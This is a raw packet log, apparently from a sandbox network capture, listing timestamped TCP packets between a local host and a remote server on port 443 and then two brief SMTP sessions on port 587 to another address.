Sep 27, 2021 20:14:09.337946892 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.338064909 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.338295937 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.338514090 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.338567019 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.338766098 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.344944954 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.345202923 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.345216036 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.345247984 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.345568895 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.345602989 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.345776081 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.346041918 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.346232891 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.346270084 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.346471071 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.346615076 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.346873999 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.346915007 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.347070932 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.347235918 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.347387075 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.347419977 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.347595930 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.347842932 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.347989082 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.348015070 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.348217964 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.348565102 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.348793030 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.348823071 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.349056959 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.349345922 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.349858999 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.349893093 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.350110054 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.350123882 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.350159883 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.350378036 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.350637913 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.350800991 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.350827932 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.351066113 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.351221085 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.351380110 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.351394892 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.351418018 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.351598978 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.351624966 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.351768017 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.352108955 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.352262020 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.352268934 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.352289915 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.352458000 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.352475882 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.353007078 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.353169918 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.353179932 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.353199959 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.353370905 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.353909016 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.354090929 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.354131937 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.354186058 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.354330063 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.354363918 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.354965925 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.355108023 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.355197906 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.355278969 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.355317116 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.355329037 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.355338097 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.355586052 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.355674982 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.355835915 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.355837107 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.355860949 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.355988979 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.356009007 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.356024027 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.356184006 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.356507063 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.356745005 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.356746912 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.356779099 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.357002974 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.357093096 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.357105970 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.357542992 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.357567072 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.357590914 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.357712984 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.357805014 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.357806921 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.357836962 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.357923985 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.358083963 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.358246088 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.358429909 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.358452082 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.358582020 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.358602047 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.358629942 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.358719110 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.358736038 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.359071970 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.359236002 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.359325886 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.359338999 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.359375000 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.359384060 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.359472036 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.359486103 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.359935045 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.360079050 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.360162020 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.360167980 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.360188961 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.360228062 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.360353947 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.360723019 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.360886097 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.360889912 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.360918999 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.361049891 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.361074924 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.361090899 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.361399889 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.361692905 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.361884117 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.361913919 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.362015009 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.362361908 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.362394094 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.362586975 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.362699032 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.362757921 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.362782001 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.362802029 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.363101006 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.364157915 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.364315033 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.364377975 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.364406109 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.364492893 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.364495039 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.364567041 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.364587069 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.364605904 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.364636898 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.364736080 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.364743948 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.364748955 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.364770889 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.364907026 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.364918947 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.364933968 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.364952087 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.365087986 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.365106106 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.365447044 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.365600109 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.365619898 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.365643024 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.365745068 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.365756989 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.365771055 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.365957975 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.366004944 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.366240025 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.366332054 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.366485119 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.366517067 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.366544008 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.366682053 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.366719007 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.366880894 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.366919994 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.366942883 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.367049932 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.367069960 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.367098093 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.367248058 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.367259979 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.367278099 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.367289066 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.367304087 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.367465019 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.367495060 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.367717028 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.367746115 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.367929935 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.367959976 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.367989063 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.368076086 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.368124008 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.368139982 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.368331909 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.368443012 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.368467093 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.368542910 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.368743896 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.368757963 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.368874073 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.369071007 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.369086981 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.369103909 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.369272947 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.369415998 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.369460106 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.369481087 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.369560957 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.369652033 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.369709969 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.369729996 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.369822025 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.369864941 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.369960070 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.369986057 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.370110035 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.370218039 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.370244026 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.370249033 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.370269060 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.370343924 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.370390892 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.370443106 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.370474100 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.370594978 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.370625019 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.370663881 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.370764017 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.370785952 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.370809078 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.370826006 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.370935917 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.370955944 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.370970011 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.370985985 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.371102095 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.371119976 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.371138096 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.371151924 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.371270895 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.371285915 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.371313095 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.371443033 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.371465921 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.371496916 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.371603966 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.371623039 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.371650934 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.371670961 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.371810913 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.371833086 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.371857882 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.371953011 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.371993065 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.372010946 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.372026920 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.372088909 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.372116089 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.372198105 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.372203112 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.372221947 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.372297049 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.372349977 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.372361898 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.372375011 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.372539997 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.372603893 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.372766018 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.372788906 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.372998953 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.373027086 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.373055935 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.373147964 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.373163939 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.373178005 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.373339891 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.373403072 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.373420000 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.373524904 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.373903990 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.374084949 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.374134064 CEST	443	49788	142.250.184.193	192.168.11.20
Sep 27, 2021 20:14:09.374142885 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:14:09.374404907 CEST	49788	443	192.168.11.20	142.250.184.193
Sep 27, 2021 20:15:40.469265938 CEST	49789	587	192.168.11.20	31.193.225.171
Sep 27, 2021 20:15:40.515856028 CEST	587	49789	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:40.516000032 CEST	49789	587	192.168.11.20	31.193.225.171
Sep 27, 2021 20:15:40.636559963 CEST	587	49789	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:40.637027979 CEST	49789	587	192.168.11.20	31.193.225.171
Sep 27, 2021 20:15:40.684393883 CEST	587	49789	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:40.684870958 CEST	49789	587	192.168.11.20	31.193.225.171
Sep 27, 2021 20:15:40.735232115 CEST	587	49789	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:40.739583015 CEST	49789	587	192.168.11.20	31.193.225.171
Sep 27, 2021 20:15:40.796701908 CEST	587	49789	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:40.796736956 CEST	587	49789	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:40.796757936 CEST	587	49789	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:40.796768904 CEST	587	49789	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:40.796978951 CEST	49789	587	192.168.11.20	31.193.225.171
Sep 27, 2021 20:15:40.799315929 CEST	587	49789	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:40.801559925 CEST	49789	587	192.168.11.20	31.193.225.171
Sep 27, 2021 20:15:40.816596031 CEST	49789	587	192.168.11.20	31.193.225.171
Sep 27, 2021 20:15:40.848459005 CEST	587	49789	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:40.848704100 CEST	49789	587	192.168.11.20	31.193.225.171
Sep 27, 2021 20:15:40.863226891 CEST	587	49789	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:40.863420010 CEST	49789	587	192.168.11.20	31.193.225.171
Sep 27, 2021 20:15:40.864311934 CEST	587	49789	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:40.864451885 CEST	49789	587	192.168.11.20	31.193.225.171
Sep 27, 2021 20:15:42.147517920 CEST	49790	587	192.168.11.20	31.193.225.171
Sep 27, 2021 20:15:42.198178053 CEST	587	49790	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:42.198502064 CEST	49790	587	192.168.11.20	31.193.225.171
Sep 27, 2021 20:15:42.256752014 CEST	587	49790	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:42.256997108 CEST	49790	587	192.168.11.20	31.193.225.171
Sep 27, 2021 20:15:42.313265085 CEST	587	49790	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:42.313596010 CEST	49790	587	192.168.11.20	31.193.225.171
Sep 27, 2021 20:15:42.368127108 CEST	587	49790	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:42.368705988 CEST	49790	587	192.168.11.20	31.193.225.171
Sep 27, 2021 20:15:42.428886890 CEST	587	49790	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:42.428976059 CEST	587	49790	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:42.429039955 CEST	587	49790	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:42.429085016 CEST	587	49790	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:42.429411888 CEST	49790	587	192.168.11.20	31.193.225.171
Sep 27, 2021 20:15:42.431227922 CEST	587	49790	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:42.433585882 CEST	49790	587	192.168.11.20	31.193.225.171
Sep 27, 2021 20:15:42.485301971 CEST	587	49790	31.193.225.171	192.168.11.20
Sep 27, 2021 20:15:42.534415960 CEST	49790	587	192.168.11.20	31.193.225.171
Sep 27, 2021 20:15:42.577949047 CEST	49790	587	192.168.11.20	31.193.225.171
